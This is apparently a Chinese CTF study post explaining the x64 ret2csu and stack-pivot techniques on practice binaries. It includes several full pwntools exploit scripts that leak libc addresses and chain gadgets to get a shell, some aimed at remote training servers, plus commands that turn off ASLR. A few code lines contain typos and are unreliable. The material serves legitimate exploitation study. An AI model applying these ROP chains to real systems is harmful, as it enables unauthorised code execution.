ret2csu

原理

利用x64下__libc_csu_init函数中的gadgets.(64位传参机制导致,但我们不会每次都精准找到每个寄存器对应的gadgets)

此函数对libc进行初始化,而一般的程序都会调用libc函数,则此函数一定存在.

什么是gadgets?
gadgets是一段对寄存器进行操作的汇编指令,比如pop ebp;pop eax;每一条指令对应着一段地址将这些gadgets部署到栈中,__ sp指针指向某gadget时发现对应地址中是一条指令而不是一条数据后就会将该地址弹给 __ ip指针, __ip指针会执行该地址中存放的汇编指令,完成对寄存器的操作.(某一gadget-0x1a得到上一gadget)

实例(蒸米ROP)

源码

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

关闭栈保护并进行编译

1
gcc -g -fno-stack-protector —z execstack -o test.c test

关闭本机随机化(低配)

1
#echo 0 > /proc/sys/kernel/randomize_va_space

checksec看看
image-20230728162434881

可以看到PIE还打开(但我们关闭了本机上的地址随机化可以当作PIEdisable)
相当于用

1
gcc -fno-stack-protector -no-pie -o level test.c

image-20230729002006111

Go to IDA

image-20230729152236817

下面为gadget1,上面为gadget2.(不同版本gagget2不同,需要修改)

起始地址可以用0x4006AA,因为我们并不需要add,从pop需要寄存器开始就🆗.但是需要占位(解题思路中详细解释,请看以下分析)

错位获取pop rsi;pop rdi
若只是想单纯控制pop rsi和pop rdi寄存器,可以利用ROPgadget(pop r14和pop r15对应得gadget存在于libc_csu_init中)
机器码为image-20230729004219289

具体search语法

1
2
3
ROPgadget --binary level --opcode 5e
#或者
ROPgadget --binary level | grep 'pop rsi'

思路

最终目的是执行system(‘/bin/sh’),NX保护开启,我们需要泄露libc函数地址(通过read/write函数),找到system函数写入‘/bin/sh’到bss段上,最后调用system函数.

注意
我们通常会把rbx的值设置成0,而rbp设置成1.这样的目的是在执行call qword ptr [r12+rbx*8]这个指令的时候,我们仅仅把r12的值给设置成指向我们想call地址的地址即可,从而不用管rbx。
又因为这三个指令add rbx,;cmp rbx, rbp;jnz short loc_400580,jnz是不相等时跳转,我们通常并不想跳转到0x400580这个地方,因为此刻执行这三个指令的时候,我们就是从0x400580这个地址过来的。因此rbx加一之后,我们要让它和rbp相等,因此rbp就要提前被设置成1.
r12要存放的就是指向(我们要跳转到那个地址)的地址。这里有个很重要的小技巧,如果你不想使用这个call,或者说你想call一个函数,但是你拿不到它的got地址,因此没法使用这个call,那就去call一个空函数(_term_proc函数)(并且要注意的是,r12的地址填写的并不是_term_proc的地址,而是指向这个函数的地址)。
r13,r14,r15这三个值分别对应了rdx,rsi,edi。这里要注意的是,r15最后传给的是edi,最后rdi的高四字节都是00,而低四字节才是r15里的内容。(也就是说如果想用ret2csu去把rdi里存放成一个地址是不可行的)

填充图

image-20230729011314600

注意gadget末尾有个ret p64(8)占位

image-20230729011813031

为什么要将system函数地址写入bss段? 因为这行代码call qword ptr [r12+rbx*8]是间接跳转,也就是先将r12地址的值取出来,再进行跳转(想想Lazy Binding)。最后的效果就是,从bss_addr中取出system函数的地址,再跳转到system函数处。

image-20230729012308773

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from LibcSeacher import *
#context.log_level = 'debug'
p = process('./level')
elf = ELF('./level')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

write_got = elf.got['write']
read_got = elf.got['read']
main_addr = 0x400564
bss_addr = 0x601028
gadget1 = 0x400606
gadget2 = 0x4005F0

payload1 = cyclic(0x88) + p64(gadget1) + p64(0) + p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got)
payload1 += p64(8) + p64(gadget2) + cyclic(0x38) + p64(main_addr)

p.sendlineafter('/n', payload1)
sleep(1)

write_addr = u64(p.recv(8))
sys_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])

payload2 = cyclic(0x88) + p64(gadget1) + p64(0) + p64(0) + p64(1) + p64(read_got) + p64(0) + p64(bss_addr)
payload2 += p64(16) + p64(gadget2) + cyclic(0x38) + p64(main_addr)

p.sendlineafter('/n', payload2)
sleep(1)

p.send(p64(sys_addr))
p.send("/bin/sh/x00")


payload3 = cyclic(0x88) + p64(gadget1) + p64(0) + p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr + 8) + p64(0)
payload3 += p64(0) + p64(gadget2) + '/x00' * 0x38 + p64(main_addr)

sleep(1)
p.sendlineafter('/n', payload3)

p.interactive()

其他题目

ciscn_2019_es_7(其实SROP)

(1)checksec (名字太长就给改成a了w)

image-20230729160314382

(2)Good woman IDA

image-20230729164657543

偏移0x18image-20230729164622920

查看vuln函数发现两个系统调用:read和write 以及syscall函数

image-20230729164913572

同时rax被改成了0x3B,对应调用execve函数.

使用ROPgadget查看可利用的gadget.
image-20230729165814524

可以看到我们只能单独控制rdi,不能控制rsi,rdx的值.那就ret2csu(当然专题废话hh)控制rdx和rsi参数,最后执行mov rax,0x3b; syscall即可.

so 难点来了:怎么把参数地址存入rdi?
由于我们控制不了rax的值,无法使用系统调用将其设置为0.bss段写不了,只能写入程序给我们的特定位置来了,意味着我们需要泄露栈上的地址.看看程序是否为我们提供了可以利用的代码.

image-20230729171034681

第三个参数为0x30

image-20230729171514964

buf距离栈顶只有10字节距离,因此write函数可以打印出栈中内容.

image-20230729172115885

测试只能显示48字节 gdb调式0x30刚刚好(具体之后补充)

image-20230729172330284

先发送1然后gdb查看image-20230729224838828

image-20230729231040910

泄露的内容是红线的部分(当然由于只能泄露0x30个字节,我红线圈多了,但是我想强调的是栈地址泄露,泄露的是内容,而非栈的地址)

不过我们发现了第一个和第三个泄露的栈中的内容是指向了栈的地址,这样我们就可以用泄露的栈的内容配合偏移,来获取栈的地址了.

经过调试发现,vul函数的返回地址就是此时栈顶的,我们是要劫持程序的执行流,因此第一个地址肯定是没法泄露了,我们来泄露第三个栈的内容。然后把返回地址填写成vul函数的首地址,让程序再执行一次(去进行ret2csu)

拿到栈中第三个内容后,看一下它距离我们输入的内容的首地址偏移是多少.
img

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from LibcSearcher import *

context(arch='amd64',os='linux',log_level='debug')

p = remote('node4.buuoj.cn', 26250)
#p = process('./a')
e = ELF('./a')

csu_gadget1 = 0x40059A
modify_rax = 0x4004E2
csu_gadget2 = 0x400580
term_proc = 0x600e50#pwndbg>search -p 地址 查找
bss_addr = 0x601030
pop_rdi_addr = 0x4005a3
syscall_addr = 0x400517
read_syscall = 0x4004ED
offset = 16

payload = '/bin/sh\x00'.ljust(16, '\x00').encode() + p64(read_syscall)
p.send(payload)
p.recvuntil(b'\x05\x40\x00\x00\x00\x00\x00')
leak_addr = u64(p.recv(8))
print(hex(leak_addr))

bin_sh_addr = leak_addr - 280
print(hex(bin_sh_addr))

payload = '/bin/sh\x00'.ljust(16, '\x00').encode() + p64(csu_gadget1)
payload += p64(0) + p64(1)
payload += p64(term_proc)
payload += p64(0) + p64(0) + p64(0)
payload += p64(csu_gadget2)
payload += b'a' * 56
payload += p64(modify_rax)
payload += p64(pop_rdi_addr) + p64(bin_sh_addr)
payload += p64(syscall_addr)
p.send(payload)
p.interactive()

gyctf_2020_borrowstack

其实可以直接ret2libc(🤡)w 学习记录了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSearcher import *

r=remote('node4.buuoj.cn',25408)

bank=0x0601080
leave=0x400699
puts_plt=0x04004E0
puts_got=0x0601018
pop_rdi=0x400703
main=0x0400626
ret=0x4004c9

r.recvuntil('u want')
payload=b'a'*0x60+p64(bank)+p64(leave)
r.send(payload)

r.recvuntil('now!')
payload=p64(ret)*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.send(payload)
r.recvline()
puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')

one_gadget=libc_base+0x4526a

#system=libc_base+libc.dump('system')
#binsh=libc_base+libc.dump('str_bin_sh')

#payload=b'a'*(0x60+8)+p64(pop_rdi)+p64(binsh)+p64(system)
payload=b'a'*(0x60+8)+p64(one_gadget)
r.send(payload)

r.interactive()

思路:利用puts函数泄露libc得到 在bss段上写入利用rop写入shellcode

问题:buf只有0x10大小,如何在bss段顺利写入呢?
Answer:buf只能覆盖到ret,但bank()在bss段

在buf处利用leave指令劫持栈跳转到bank处,写入shellcode

(1)checksec

image-20230731004821556

(2)Lovely Woman image-20230731005122883

NX保护打开,栈上无system()和”/bin/sh” ->libc泄露

image-20230731005742112

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
p=process('./stack')
context(arch='amd64',os='linux',log_level='debug')
e=ELF('./stack')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_plt_addr=e.plt['puts']
puts_got_addr=e.got['puts']
read_plt_addr=e.got['read']#why got here
#call函数为跳转到某地址内所保存的地址,应该使用got表中的地址
pop_rdi_addr=0x400703
level_addr=0x400699
bss_addr=0x601080#bank_addr
ret_csu_addr=0x4006FA
rsi_addr=0x601118
payload1=b'a'*0x60+p64(bss_addr+0x40)+p64(level_addr)#这里多加0x40的目的就是为了执行puts的时候,不影响之前的got表中的数据
p.sendafter('u want\n',payload1)
payload2=b'a'*0x40+p64(0)+p64(pop_rdi_addr)+p64(puts_got_addr)+p64(puts_plt_addr)
payload2+=p64(ret_csu_addr)+p64(0)+p64(0)+p64(read_plt_addr)+p64(0x100)
payload2+=p64(rsi_addr)+p64(0)+p64(0x4006E0)#why is there an address here
#这一个4006E0仅仅是ret2csu执行了pop之后的ret的返回的地址。
#至于怎么返回到one_gadget上的,是因为read的返回地址被read自己给改了
#payload2中的第一个p64(0)是去占个地方,因为栈迁移本身的特性,迁移后的第一个内存单元不执行
p.sendafter('k now!\n',payload2)
puts_addr=u64(p.recv(6).ljust(8,'\x00'))
libc_base=puts_addr-libc.symbols['puts']
one_gadget=libc_base+0x4f432
p.sendline(p64(one_gadget))#why p64 here #只要是发送地址 就要经过打包之后发送
p.interactive()

❗❗❗u1s1❗❗❗
不管用哪个方法,都需要考虑利用函数(bank)与got表间距离.在栈迁时需要把地址相对抬高些,防止破坏got表.

image-20230731155611578

下附栈迁移相关资料:

[]: https://www.cnblogs.com/ZIKH26/articles/15817337.html

tips:没法泄露libc时可用one_gadget,利用在线网站

[]: https://libc.blukat.me/?q=puts:690&l=libc6_2.23-0ubuntu11_amd64

将泄露函数(本题为puts 其他函数是否相同 有待考究)的后三位,找到libc版本

1
$ one_gadget libc版本